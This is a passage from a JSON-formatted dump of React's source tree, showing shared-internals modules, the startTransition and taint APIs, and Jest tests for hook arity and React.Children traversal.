    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {Dispatcher} from 'react-reconciler/src/ReactInternalTypes';\nimport type {AsyncDispatcher} from 'react-reconciler/src/ReactInternalTypes';\nimport type {Transition} from './ReactStartTransition';\nimport type {GestureProvider, GestureOptions} from 'shared/ReactTypes';\n\nimport {enableGestureTransition} from 'shared/ReactFeatureFlags';\n\ntype onStartTransitionFinish = (Transition, mixed) => void;\ntype onStartGestureTransitionFinish = (\n  Transition,\n  GestureProvider,\n  ?GestureOptions,\n) => () => void;\n\nexport type SharedStateClient = {\n  H: null | Dispatcher, // ReactCurrentDispatcher for Hooks\n  A: null | AsyncDispatcher, // ReactCurrentCache for Cache\n  T: null | Transition, // ReactCurrentBatchConfig for Transitions\n  S: null | onStartTransitionFinish,\n  G: null | onStartGestureTransitionFinish,\n\n  // DEV-only\n\n  // ReactCurrentActQueue\n  actQueue: null | Array<RendererTask>,\n\n  // When zero this means we're outside an async startTransition.\n  asyncTransitions: number,\n\n  // Used to reproduce behavior of `batchedUpdates` in legacy mode.\n  isBatchingLegacy: boolean,\n  didScheduleLegacyUpdate: boolean,\n\n  // Tracks whether something called `use` during the current batch of work.\n  // Determines whether we should yield to microtasks to unwrap already resolved\n  // promises without suspending.\n  didUsePromise: boolean,\n\n  // Track first uncaught error within this act\n  thrownErrors: Array<mixed>,\n\n  // ReactDebugCurrentFrame\n  getCurrentStack: null | (() => string),\n\n  // ReactOwnerStackReset\n  recentlyCreatedOwnerStacks: 0,\n};\n\nexport type RendererTask = boolean => RendererTask | null;\n\nconst ReactSharedInternals: SharedStateClient = ({\n  H: null,\n  A: null,\n  T: null,\n  S: null,\n}: any);\nif (enableGestureTransition) {\n  ReactSharedInternals.G = null;\n}\n\nif (__DEV__) {\n  ReactSharedInternals.actQueue = null;\n  ReactSharedInternals.asyncTransitions = 0;\n  ReactSharedInternals.isBatchingLegacy = false;\n  ReactSharedInternals.didScheduleLegacyUpdate = false;\n  ReactSharedInternals.didUsePromise = false;\n  ReactSharedInternals.thrownErrors = [];\n  // Stack implementation injected by the current renderer.\n  ReactSharedInternals.getCurrentStack = (null: null | (() => string));\n  ReactSharedInternals.recentlyCreatedOwnerStacks = 0;\n}\n\nexport default ReactSharedInternals;\n"
  },
  {
    "path": "packages/react/src/ReactSharedInternalsServer.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {Dispatcher} from 'react-reconciler/src/ReactInternalTypes';\nimport type {AsyncDispatcher} from 'react-reconciler/src/ReactInternalTypes';\n\nimport type {\n  Reference,\n  TaintEntry,\n  RequestCleanupQueue,\n} from './ReactTaintRegistry';\n\nimport {\n  TaintRegistryObjects,\n  TaintRegistryValues,\n  TaintRegistryByteLengths,\n  TaintRegistryPendingRequests,\n} from './ReactTaintRegistry';\n\nimport {enableTaint} from 'shared/ReactFeatureFlags';\n\nexport type SharedStateServer = {\n  H: null | Dispatcher, // ReactCurrentDispatcher for Hooks\n  A: null | AsyncDispatcher, // ReactCurrentCache for Cache\n\n  // enableTaint\n  TaintRegistryObjects: WeakMap<Reference, string>,\n  TaintRegistryValues: Map<string | bigint, TaintEntry>,\n  TaintRegistryByteLengths: Set<number>,\n  TaintRegistryPendingRequests: Set<RequestCleanupQueue>,\n\n  // DEV-only\n\n  // ReactDebugCurrentFrame\n  getCurrentStack: null | (() => string),\n\n  // ReactOwnerStackReset\n  recentlyCreatedOwnerStacks: 0,\n};\n\nexport type RendererTask = boolean => RendererTask | null;\n\nconst ReactSharedInternals: SharedStateServer = ({\n  H: null,\n  A: null,\n}: any);\n\nif (enableTaint) {\n  ReactSharedInternals.TaintRegistryObjects = TaintRegistryObjects;\n  ReactSharedInternals.TaintRegistryValues = TaintRegistryValues;\n  ReactSharedInternals.TaintRegistryByteLengths = TaintRegistryByteLengths;\n  ReactSharedInternals.TaintRegistryPendingRequests =\n    TaintRegistryPendingRequests;\n}\n\nif (__DEV__) {\n  // Stack implementation injected by the current renderer.\n  ReactSharedInternals.getCurrentStack = (null: null | (() => string));\n  ReactSharedInternals.recentlyCreatedOwnerStacks = 0;\n}\n\nexport default ReactSharedInternals;\n"
  },
  {
    "path": "packages/react/src/ReactStartTransition.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {Fiber} from 'react-reconciler/src/ReactInternalTypes';\nimport type {\n  StartTransitionOptions,\n  GestureProvider,\n  GestureOptions,\n} from 'shared/ReactTypes';\nimport type {TransitionTypes} from './ReactTransitionType';\n\nimport ReactSharedInternals from 'shared/ReactSharedInternals';\n\nimport {\n  enableTransitionTracing,\n  enableViewTransition,\n  enableGestureTransition,\n} from 'shared/ReactFeatureFlags';\n\nimport reportGlobalError from 'shared/reportGlobalError';\n\nimport noop from 'shared/noop';\n\nexport type Transition = {\n  types: null | TransitionTypes, // enableViewTransition\n  gesture: null | GestureProvider, // enableGestureTransition\n  name: null | string, // enableTransitionTracing only\n  startTime: number, // enableTransitionTracing only\n  _updatedFibers: Set<Fiber>, // DEV-only\n  ...\n};\n\nfunction releaseAsyncTransition() {\n  if (__DEV__) {\n    ReactSharedInternals.asyncTransitions--;\n  }\n}\n\nexport function startTransition(\n  scope: () => void,\n  options?: StartTransitionOptions,\n): void {\n  const prevTransition = ReactSharedInternals.T;\n  const currentTransition: Transition = ({}: any);\n  if (enableViewTransition) {\n    currentTransition.types =\n      prevTransition !== null\n        ? // If we're a nested transition, we should use the same set as the parent\n          // since we're conceptually always joined into the same entangled transition.\n          // In practice, this only matters if we add transition types in the inner\n          // without setting state. In that case, the inner transition can finish\n          // without waiting for the outer.\n          prevTransition.types\n        : null;\n  }\n  if (enableGestureTransition) {\n    currentTransition.gesture = null;\n  }\n  if (enableTransitionTracing) {\n    currentTransition.name =\n      options !== undefined && options.name !== undefined ? options.name : null;\n    currentTransition.startTime = -1; // TODO: This should read the timestamp.\n  }\n  if (__DEV__) {\n    currentTransition._updatedFibers = new Set();\n  }\n  ReactSharedInternals.T = currentTransition;\n\n  try {\n    const returnValue = scope();\n    const onStartTransitionFinish = ReactSharedInternals.S;\n    if (onStartTransitionFinish !== null) {\n      onStartTransitionFinish(currentTransition, returnValue);\n    }\n    if (\n      typeof returnValue === 'object' &&\n      returnValue !== null &&\n      typeof returnValue.then === 'function'\n    ) {\n      if (__DEV__) {\n        // Keep track of the number of async transitions still running so we can warn.\n        ReactSharedInternals.asyncTransitions++;\n        returnValue.then(releaseAsyncTransition, releaseAsyncTransition);\n      }\n      returnValue.then(noop, reportGlobalError);\n    }\n  } catch (error) {\n    reportGlobalError(error);\n  } finally {\n    warnAboutTransitionSubscriptions(prevTransition, currentTransition);\n    if (prevTransition !== null && currentTransition.types !== null) {\n      // If we created a new types set in the inner transition, we transfer it to the parent\n      // since they should share the same set. They're conceptually entangled.\n      if (__DEV__) {\n        if (\n          prevTransition.types !== null &&\n          prevTransition.types !== currentTransition.types\n        ) {\n          // Just assert that assumption holds that we're not overriding anything.\n          console.error(\n            'We expected inner Transitions to have transferred the outer types set and ' +\n              'that you cannot add to the outer Transition while inside the inner.' +\n              'This is a bug in React.',\n          );\n        }\n      }\n      prevTransition.types = currentTransition.types;\n    }\n    ReactSharedInternals.T = prevTransition;\n  }\n}\n\nexport function startGestureTransition(\n  provider: GestureProvider,\n  scope: () => void,\n  options?: GestureOptions & StartTransitionOptions,\n): () => void {\n  if (!enableGestureTransition) {\n    // eslint-disable-next-line react-internal/prod-error-codes\n    throw new Error(\n      'startGestureTransition should not be exported when the enableGestureTransition flag is off.',\n    );\n  }\n  if (provider == null) {\n    // We enforce this at runtime even though the type also enforces it since we\n    // use null as a signal internally so it would lead it to be treated as a\n    // regular transition otherwise.\n    throw new Error(\n      'A Timeline is required as the first argument to startGestureTransition.',\n    );\n  }\n  const prevTransition = ReactSharedInternals.T;\n  const currentTransition: Transition = ({}: any);\n  if (enableViewTransition) {\n    currentTransition.types = null;\n  }\n  if (enableGestureTransition) {\n    currentTransition.gesture = provider;\n  }\n  if (enableTransitionTracing) {\n    currentTransition.name =\n      options !== undefined && options.name !== undefined ? options.name : null;\n    currentTransition.startTime = -1; // TODO: This should read the timestamp.\n  }\n  if (__DEV__) {\n    currentTransition._updatedFibers = new Set();\n  }\n  ReactSharedInternals.T = currentTransition;\n\n  try {\n    const returnValue = scope();\n    if (__DEV__) {\n      if (\n        typeof returnValue === 'object' &&\n        returnValue !== null &&\n        typeof returnValue.then === 'function'\n      ) {\n        console.error(\n          'Cannot use an async function in startGestureTransition. It must be able to start immediately.',\n        );\n      }\n    }\n    const onStartGestureTransitionFinish = ReactSharedInternals.G;\n    if (onStartGestureTransitionFinish !== null) {\n      return onStartGestureTransitionFinish(\n        currentTransition,\n        provider,\n        options,\n      );\n    }\n  } catch (error) {\n    reportGlobalError(error);\n  } finally {\n    ReactSharedInternals.T = prevTransition;\n  }\n  return noop;\n}\n\nfunction warnAboutTransitionSubscriptions(\n  prevTransition: Transition | null,\n  currentTransition: Transition,\n) {\n  if (__DEV__) {\n    if (prevTransition === null && currentTransition._updatedFibers) {\n      const updatedFibersCount = currentTransition._updatedFibers.size;\n      currentTransition._updatedFibers.clear();\n      if (updatedFibersCount > 10) {\n        console.warn(\n          'Detected a large number of updates inside startTransition. ' +\n            'If this is due to a subscription please re-write it to use React provided hooks. ' +\n            'Otherwise concurrent mode guarantees are off the table.',\n        );\n      }\n    }\n  }\n}\n"
  },
  {
    "path": "packages/react/src/ReactTaint.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport {enableTaint} from 'shared/ReactFeatureFlags';\n\nimport getPrototypeOf from 'shared/getPrototypeOf';\n\nimport binaryToComparableString from 'shared/binaryToComparableString';\n\nimport ReactSharedInternals from './ReactSharedInternalsServer';\nconst {\n  TaintRegistryObjects,\n  TaintRegistryValues,\n  TaintRegistryByteLengths,\n  TaintRegistryPendingRequests,\n} = ReactSharedInternals;\n\ninterface Reference {}\n\n// This is the shared constructor of all typed arrays.\nconst TypedArrayConstructor = getPrototypeOf(Uint32Array.prototype).constructor;\n\nconst defaultMessage =\n  'A tainted value was attempted to be serialized to a Client Component or Action closure. ' +\n  'This would leak it to the client.';\n\nfunction cleanup(entryValue: string | bigint): void {\n  const entry = TaintRegistryValues.get(entryValue);\n  if (entry !== undefined) {\n    TaintRegistryPendingRequests.forEach(function (requestQueue) {\n      requestQueue.push(entryValue);\n      entry.count++;\n    });\n    if (entry.count === 1) {\n      TaintRegistryValues.delete(entryValue);\n    } else {\n      entry.count--;\n    }\n  }\n}\n\n// If FinalizationRegistry doesn't exist, we assume that objects life forever.\n// E.g. the whole VM is just the lifetime of a request.\nconst finalizationRegistry =\n  typeof FinalizationRegistry === 'function'\n    ? new FinalizationRegistry(cleanup)\n    : null;\n\nexport function taintUniqueValue(\n  message: ?string,\n  lifetime: Reference,\n  value: string | bigint | $ArrayBufferView,\n): void {\n  if (!enableTaint) {\n    throw new Error('Not implemented.');\n  }\n  // eslint-disable-next-line react-internal/safe-string-coercion\n  message = '' + (message || defaultMessage);\n  if (\n    lifetime === null ||\n    (typeof lifetime !== 'object' && typeof lifetime !== 'function')\n  ) {\n    throw new Error(\n      'To taint a value, a lifetime must be defined by passing an object that holds ' +\n        'the value.',\n    );\n  }\n  let entryValue: string | bigint;\n  if (typeof value === 'string' || typeof value === 'bigint') {\n    // Use as is.\n    entryValue = value;\n  } else if (\n    value instanceof TypedArrayConstructor ||\n    value instanceof DataView\n  ) {\n    // For now, we just convert binary data to a string so that we can just use the native\n    // hashing in the Map implementation. It doesn't really matter what form the string\n    // take as long as it's the same when we look it up.\n    // We're not too worried about collisions since this should be a high entropy value.\n    TaintRegistryByteLengths.add(value.byteLength);\n    entryValue = binaryToComparableString(value);\n  } else {\n    const kind = value === null ? 'null' : typeof value;\n    if (kind === 'object' || kind === 'function') {\n      throw new Error(\n        'taintUniqueValue cannot taint objects or functions. Try taintObjectReference instead.',\n      );\n    }\n    throw new Error(\n      'Cannot taint a ' +\n        kind +\n        ' because the value is too general and not unique enough to block globally.',\n    );\n  }\n  const existingEntry = TaintRegistryValues.get(entryValue);\n  if (existingEntry === undefined) {\n    TaintRegistryValues.set(entryValue, {\n      message,\n      count: 1,\n    });\n  } else {\n    existingEntry.count++;\n  }\n  if (finalizationRegistry !== null) {\n    finalizationRegistry.register(lifetime, entryValue);\n  }\n}\n\nexport function taintObjectReference(\n  message: ?string,\n  object: Reference,\n): void {\n  if (!enableTaint) {\n    throw new Error('Not implemented.');\n  }\n  // eslint-disable-next-line react-internal/safe-string-coercion\n  message = '' + (message || defaultMessage);\n  if (typeof object === 'string' || typeof object === 'bigint') {\n    throw new Error(\n      'Only objects or functions can be passed to taintObjectReference. Try taintUniqueValue instead.',\n    );\n  }\n  if (\n    object === null ||\n    (typeof object !== 'object' && typeof object !== 'function')\n  ) {\n    throw new Error(\n      'Only objects or functions can be passed to taintObjectReference.',\n    );\n  }\n  TaintRegistryObjects.set(object, message);\n}\n"
  },
  {
    "path": "packages/react/src/ReactTaintRegistry.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nexport interface Reference {}\n\nexport type TaintEntry = {\n  message: string,\n  count: number,\n};\n\nexport const TaintRegistryObjects: WeakMap<Reference, string> = new WeakMap();\nexport const TaintRegistryValues: Map<string | bigint, TaintEntry> = new Map();\n// Byte lengths of all binary values we've ever seen. We don't both refcounting this.\n// We expect to see only a few lengths here such as the length of token.\nexport const TaintRegistryByteLengths: Set<number> = new Set();\n\n// When a value is finalized, it means that it has been removed from any global caches.\n// No future requests can get a handle on it but any ongoing requests can still have\n// a handle on it. It's still tainted until that happens.\nexport type RequestCleanupQueue = Array<string | bigint>;\nexport const TaintRegistryPendingRequests: Set<RequestCleanupQueue> = new Set();\n"
  },
  {
    "path": "packages/react/src/ReactTransitionType.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport ReactSharedInternals from 'shared/ReactSharedInternals';\nimport {\n  enableViewTransition,\n  enableGestureTransition,\n} from 'shared/ReactFeatureFlags';\nimport {startTransition} from './ReactStartTransition';\n\nexport type TransitionTypes = Array<string>;\n\nexport function addTransitionType(type: string): void {\n  if (enableViewTransition) {\n    const transition = ReactSharedInternals.T;\n    if (transition !== null) {\n      const transitionTypes = transition.types;\n      if (transitionTypes === null) {\n        transition.types = [type];\n      } else if (transitionTypes.indexOf(type) === -1) {\n        transitionTypes.push(type);\n      }\n    } else {\n      // We're in the async gap. Simulate an implicit startTransition around it.\n      if (__DEV__) {\n        if (ReactSharedInternals.asyncTransitions === 0) {\n          if (enableGestureTransition) {\n            console.error(\n              'addTransitionType can only be called inside a `startTransition()` ' +\n                'or `startGestureTransition()` callback. ' +\n                'It must be associated with a specific Transition.',\n            );\n          } else {\n            console.error(\n              'addTransitionType can only be called inside a `startTransition()` ' +\n                'callback. It must be associated with a specific Transition.',\n            );\n          }\n        }\n      }\n      startTransition(addTransitionType.bind(null, type));\n    }\n  }\n}\n"
  },
  {
    "path": "packages/react/src/__tests__/React-hooks-arity.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n */\n\n'use strict';\n\nlet React;\nlet ReactNoop;\n\ndescribe('arity', () => {\n  beforeEach(() => {\n    jest.resetModules();\n\n    React = require('react');\n    ReactNoop = require('react-noop-renderer');\n  });\n\n  it(\"ensure useState setter's arity is correct\", () => {\n    function Component() {\n      const [, setState] = React.useState(() => 'Halo!');\n\n      expect(setState.length).toBe(1);\n      return null;\n    }\n\n    ReactNoop.render(<Component />);\n  });\n\n  it(\"ensure useReducer setter's arity is correct\", () => {\n    function Component() {\n      const [, dispatch] = React.useReducer(() => 'Halo!');\n\n      expect(dispatch.length).toBe(1);\n      return null;\n    }\n\n    ReactNoop.render(<Component />);\n  });\n});\n"
  },
  {
    "path": "packages/react/src/__tests__/ReactChildren-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n */\n\n'use strict';\n\ndescribe('ReactChildren', () => {\n  let React;\n  let ReactDOMClient;\n  let act;\n  let assertConsoleErrorDev;\n\n  beforeEach(() => {\n    jest.resetModules();\n    React = require('react');\n    ReactDOMClient = require('react-dom/client');\n    ({act, assertConsoleErrorDev} = require('internal-test-utils'));\n  });\n\n  it('should support identity for simple', () => {\n    const context = {};\n    const callback = jest.fn().mockImplementation(function (kid, index) {\n      expect(this).toBe(context);\n      return kid;\n    });\n\n    const simpleKid = <span key=\"simple\" />;\n\n    // First pass children into a component to fully simulate what happens when\n    // using structures that arrive from transforms.\n\n    const instance = <div>{simpleKid}</div>;\n    React.Children.forEach(instance.props.children, callback, context);\n    expect(callback).toHaveBeenCalledWith(simpleKid, 0);\n    callback.mockClear();\n    const mappedChildren = React.Children.map(\n      instance.props.children,\n      callback,\n      context,\n    );\n    expect(callback).toHaveBeenCalledWith(simpleKid, 0);\n    expect(mappedChildren[0]).toEqual(<span key=\".$simple\" />);\n  });\n\n  it('should support Portal components', () => {\n    const context = {};\n    const callback = jest.fn().mockImplementation(function (kid, index) {\n      expect(this).toBe(context);\n      return kid;\n    });\n    const ReactDOM = require('react-dom');\n    const portalContainer = document.createElement('div');\n\n    const simpleChild = <span key=\"simple\" />;\n    const reactPortal = ReactDOM.createPortal(simpleChild, portalContainer);\n\n    const parentInstance = <div>{reactPortal}</div>;\n    React.Children.forEach(parentInstance.props.children, callback, context);\n    expect(callback).toHaveBeenCalledWith(reactPortal, 0);\n    callback.mockClear();\n    const mappedChildren = React.Children.map(\n      parentInstance.props.children,\n      callback,\n      context,\n    );\n    expect(callback).toHaveBeenCalledWith(reactPortal, 0);\n    expect(mappedChildren[0]).toEqual(reactPortal);\n  });\n\n  it('should treat single arrayless child as being in array', () => {\n    const context = {};\n    const callback = jest.fn().mockImplementation(function (kid, index) {\n      expect(this).toBe(context);\n      return kid;\n    });\n\n    const simpleKid = <span />;\n    const instance = <div>{simpleKid}</div>;\n    React.Children.forEach(instance.props.children, callback, context);\n    expect(callback).toHaveBeenCalledWith(simpleKid, 0);\n    callback.mockClear();\n    const mappedChildren = React.Children.map(\n      instance.props.children,\n      callback,\n      context,\n    );\n    expect(callback).toHaveBeenCalledWith(simpleKid, 0);\n    expect(mappedChildren[0]).toEqual(<span key=\".0\" />);\n  });\n\n  it('should treat single child in array as expected', () => {\n    const context = {};\n    const callback = jest.fn().mockImplementation(function (kid, index) {\n      expect(this).toBe(context);\n      return kid;\n    });\n\n    const simpleKid = <span key=\"simple\" />;\n    const instance = <div>{[simpleKid]}</div>;\n    React.Children.forEach(instance.props.children, callback, context);\n    expect(callback).toHaveBeenCalledWith(simpleKid, 0);\n    callback.mockClear();\n    const mappedChildren = React.Children.map(\n      instance.props.children,\n      callback,\n      context,\n    );\n    expect(callback).toHaveBeenCalledWith(simpleKid, 0);\n    expect(mappedChildren[0]).toEqual(<span key=\".$simple\" />);\n  });\n\n  it('should be called for each child', () => {\n    const zero = <div key=\"keyZero\" />;\n    const one = null;\n    const two = <div key=\"keyTwo\" />;\n    const three = null;\n    const four = <div key=\"keyFour\" />;\n    const context = {};\n\n    const callback = jest.fn().mockImplementation(function (kid) {\n      expect(this).toBe(context);\n      return kid;\n    });\n\n    const instance = (\n      <div>\n        {zero}\n        {one}\n        {two}\n        {three}\n        {four}\n      </div>\n    );\n\n    function assertCalls() {\n      expect(callback).toHaveBeenCalledWith(zero, 0);\n      expect(callback).toHaveBeenCalledWith(one, 1);\n      expect(callback).toHaveBeenCalledWith(two, 2);\n      expect(callback).toHaveBeenCalledWith(three, 3);\n      expect(callback).toHaveBeenCalledWith(four, 4);\n      callback.mockClear();\n    }\n\n    React.Children.forEach(instance.props.children, callback, context);\n    assertCalls();\n\n    const mappedChildren = React.Children.map(\n      instance.props.children,\n      callback,\n      context,\n    );\n    assertCalls();\n    expect(mappedChildren).toEqual([\n      <div key=\".$keyZero\" />,\n      <div key=\".$keyTwo\" />,\n      <div key=\".$keyFour\" />,\n    ]);\n  });\n\n  it('should traverse children of different kinds', () => {\n    const div = <div key=\"divNode\" />;\n    const span = <span key=\"spanNode\" />;\n    const a = <a key=\"aNode\" />;\n\n    const context = {};\n    const callback = jest.fn().mockImplementation(function (kid) {\n      expect(this).toBe(context);\n      return kid;\n    });\n\n    const instance = (\n      <div>\n        {div}\n        {[[span]]}\n        {[a]}\n        {'string'}\n        {1234}\n        {true}\n        {false}\n        {null}\n        {undefined}\n        {9n}\n      </div>\n    );\n\n    function assertCalls() {\n      expect(callback).toHaveBeenCalledTimes(10);\n      expect(callback).toHaveBeenCalledWith(div, 0);\n      expect(callback).toHaveBeenCalledWith(span, 1);\n      expect(callback).toHaveBeenCalledWith(a, 2);\n      expect(callback).toHaveBeenCalledWith('string', 3);\n      expect(callback).toHaveBeenCalledWith(1234, 4);\n      expect(callback).toHaveBeenCalledWith(null, 5);\n      expect(callback).toHaveBeenCalledWith(null, 6);\n      expect(callback).toHaveBeenCalledWith(null, 7);\n      expect(callback).toHaveBeenCalledWith(null, 8);\n      expect(callback).toHaveBeenCalledWith(9n, 9);\n      callback.mockClear();\n    }\n\n    React.Children.forEach(instance.props.children, callback, context);\n    assertCalls();\n\n    const mappedChildren = React.Children.map(\n      instance.props.children,\n      callback,\n      context,\n    );\n    assertCalls();\n    expect(mappedChildren).toEqual([\n      <div key=\".$divNode\" />,\n      <span key=\".1:0:$spanNode\" />,\n      <a key=\".2:$aNode\" />,\n      'string',\n      1234,\n      9n,\n    ]);\n  });\n\n  it('should be called for each child in nested structure', () => {\n    const zero = <div key=\"keyZero\" />;\n    const one = null;\n    const two = <div key=\"keyTwo\" />;\n    const three = null;\n    const four = <div key=\"keyFour\" />;\n    const five = <div key=\"keyFive\" />;\n\n    const context = {};\n    const callback = jest.fn().mockImplementation(function (kid) {\n      return kid;\n    });\n\n    const instance = <div>{[[zero, one, two], [three, four], five]}</div>;\n\n    function assertCalls() {\n      expect(callback).toHaveBeenCalledTimes(6);\n      expect(callback).toHaveBeenCalledWith(zero, 0);\n      expect(callback).toHaveBeenCalledWith(one, 1);\n      expect(callback).toHaveBeenCalledWith(two, 2);\n      expect(callback).toHaveBeenCalledWith(three, 3);\n      expect(callback).toHaveBeenCalledWith(four, 4);\n      expect(callback).toHaveBeenCalledWith(five, 5);\n      callback.mockClear();\n    }\n\n    React.Children.forEach(instance.props.children, callback, context);\n    assertCalls();\n\n    const mappedChildren = React.Children.map(\n      instance.props.children,\n      callback,\n      context,\n    );\n    assertCalls();\n    expect(mappedChildren).toEqual([\n      <div key=\".0:$keyZero\" />,\n      <div key=\".0:$keyTwo\" />,\n      <div key=\".1:$keyFour\" />,\n      <div key=\".$keyFive\" />,\n    ]);\n  });\n\n  it('should retain key across two mappings', () => {\n    const zeroForceKey = <div key=\"keyZero\" />;\n    const oneForceKey = <div key=\"keyOne\" />;\n    const context = {};\n    const callback = jest.fn().mockImplementation(function (kid) {\n      expect(this).toBe(context);\n      return kid;\n    });\n\n    const forcedKeys = (\n      <div>\n        {zeroForceKey}\n        {oneForceKey}\n      </div>\n    );\n\n    function assertCalls() {\n      expect(callback).toHaveBeenCalledWith(zeroForceKey, 0);\n      expect(callback).toHaveBeenCalledWith(oneForceKey, 1);\n      callback.mockClear();\n    }\n\n    React.Children.forEach(forcedKeys.props.children, callback, context);\n    assertCalls();\n\n    const mappedChildren = React.Children.map(\n      forcedKeys.props.children,\n      callback,\n      context,\n    );\n    assertCalls();\n    expect(mappedChildren).toEqual([\n      <div key=\".$keyZero\" />,\n      <div key=\".$keyOne\" />,\n    ]);\n  });\n\n  it('should be called for each child in an iterable without keys', async () => {\n    const threeDivIterable = {\n      '@@iterator': function () {\n        let i = 0;\n        return {\n          next: function () {\n            if (i++ < 3) {\n              return {value: <div />, done: false};\n            } else {\n              return {value: undefined, done: true};\n            }\n          },\n        };\n      },\n    };\n\n    const context = {};\n    const callback = jest.fn().mockImplementation(function (kid) {\n      expect(this).toBe(context);\n      return kid;\n    });\n\n    function assertCalls() {\n      expect(callback).toHaveBeenCalledTimes(3);\n      expect(callback).toHaveBeenCalledWith(<div />, 0);\n      expect(callback).toHaveBeenCalledWith(<div />, 1);\n      expect(callback).toHaveBeenCalledWith(<div />, 2);\n      callback.mockClear();\n    }\n\n    const instance = <div>{threeDivIterable}</div>;\n\n    React.Children.forEach(instance.props.children, callback, context);\n\n    assertCalls();\n\n    const mappedChildren = React.Children.map(\n      instance.props.children,\n      callback,\n      context,\n    );\n    assertCalls();\n    expect(mappedChildren).toEqual([\n      <div key=\".0\" />,\n      <div key=\".1\" />,\n      <div key=\".2\" />,\n    ]);\n\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(instance);\n    });\n    assertConsoleErrorDev([\n      'Each child in a list should have a unique \"key\" prop.\\n\\n' +\n        'Check the top-level render call using <div>. It was passed a child from div.' +\n        ' See https://react.dev/link/warning-keys for more information.\\n' +\n        '    in div (at **)',\n    ]);\n  });\n\n  it('should be called for each child in an iterable with keys', () => {\n    const threeDivIterable = {\n      '@@iterator': function () {\n        let i = 0;\n        return {\n          next: function () {\n            if (i++ < 3) {\n              return {value: <div key={'#' + i} />, done: false};\n            } else {\n              return {value: undefined, done: true};\n            }\n          },\n        };\n      },\n    };\n\n    const context = {};\n    const callback = jest.fn().mockImplementation(function (kid) {\n      expect(this).toBe(context);\n      return kid;\n    });\n\n    const instance = <div>{threeDivIterable}</div>;\n\n    function assertCalls() {\n      expect(callback).toHaveBeenCalledTimes(3);\n      expect(callback).toHaveBeenCalledWith(<div key=\"#1\" />, 0);\n      expect(callback).toHaveBeenCalledWith(<div key=\"#2\" />, 1);\n      expect(callback).toHaveBeenCalledWith(<div key=\"#3\" />, 2);\n      callback.mockClear();\n    }\n\n    React.Children.forEach(instance.props.children, callback, context);\n    assertCalls();\n\n    const mappedChildren = React.Children.map(\n      instance.props.children,\n      callback,\n      context,\n    );\n    assertCalls();\n    expect(mappedChildren).toEqual([\n      <div key=\".$#1\" />,\n      <div key=\".$#2\" />,\n      <div key=\".$#3\" />,\n    ]);\n  });\n\n  it('should not enumerate enumerable numbers (#4776)', () => {\n    /*eslint-disable no-extend-native */\n    Number.prototype['@@iterator'] = function () {\n      throw new Error('number iterator called');\n    };\n    /*eslint-enable no-extend-native */\n\n    try {\n      const instance = (\n        <div>\n          {5}\n          {12}\n          {13}\n        </div>\n      );\n\n      const context = {};\n      const callback = jest.fn().mockImplementation(function (kid) {\n        expect(this).toBe(context);\n        return kid;\n      });\n\n      const assertCalls = function () {\n        expect(callback).toHaveBeenCalledTimes(3);\n        expect(callback).toHaveBeenCalledWith(5, 0);\n        expect(callback).toHaveBeenCalledWith(12, 1);\n        expect(callback).toHaveBeenCalledWith(13, 2);\n        callback.mockClear();\n      };\n\n      React.Children.forEach(instance.props.children, callback, context);\n      assertCalls();\n\n      const mappedChildren = React.Children.map(\n        instance.props.children,\n        callback,\n        context,\n      );\n      assertCalls();\n      expect(mappedChildren).toEqual([5, 12, 13]);\n    } finally {\n      delete Number.prototype['@@iterator'];\n    }\n  });\n\n  it('should allow extension of native prototypes', () => {\n    /*eslint-disable no-extend-native */\n    String.prototype.key = 'react';\n    Number.prototype.key = 'rocks';\n    /*eslint-enable no-extend-native */\n\n    const instance = (\n      <div>\n        {'a'}\n        {13}\n      </div>\n    );\n\n    const context = {};\n    const callback = jest.fn().mockImplementation(function (kid) {\n      expect(this).toBe(context);\n      return kid;\n    });\n\n    function assertCalls() {\n      expect(callback).toHaveBeenCalledTimes(2);\n      expect(callback).toHaveBeenCalledWith('a', 0);\n      expect(callback).toHaveBeenCalledWith(13, 1);\n      callback.mockClear();\n    }\n\n    React.Children.forEach(instance.props.children, callback, context);\n    assertCalls();\n\n    const mappedChildren = React.Children.map(\n      instance.props.children,\n      callback,\n      context,\n    );\n    assertCalls();\n    expect(mappedChildren).toEqual(['a', 13]);\n\n    delete String.prototype.key;\n    delete Number.prototype.key;\n  });\n\n  it('should pass key to returned component', () => {\n    const mapFn = function (kid, index) {\n      return <div>{kid}</div>;\n    };\n\n    const simpleKid = <span key=\"simple\" />;\n\n    const instance = <div>{simpleKid}</div>;\n    const mappedChildren = React.Children.map(instance.props.children, mapFn);\n\n    expect(React.Children.count(mappedChildren)).toBe(1);\n    expect(mappedChildren[0]).not.toBe(simpleKid);\n    expect(mappedChildren[0].props.children).toBe(simpleKid);\n    expect(mappedChildren[0].key).toBe('.$simple');\n  });\n\n  it('should invoke callback with the right context', () => {\n    let lastContext;\n    const callback = function (kid, index) {\n      lastContext = this;\n      return this;\n    };\n\n    // TODO: Use an object to test, after non-object fragments has fully landed.\n    const scopeTester = 'scope tester';\n\n    const simpleKid = <span key=\"simple\" />;\n    const instance = <div>{simpleKid}</div>;\n    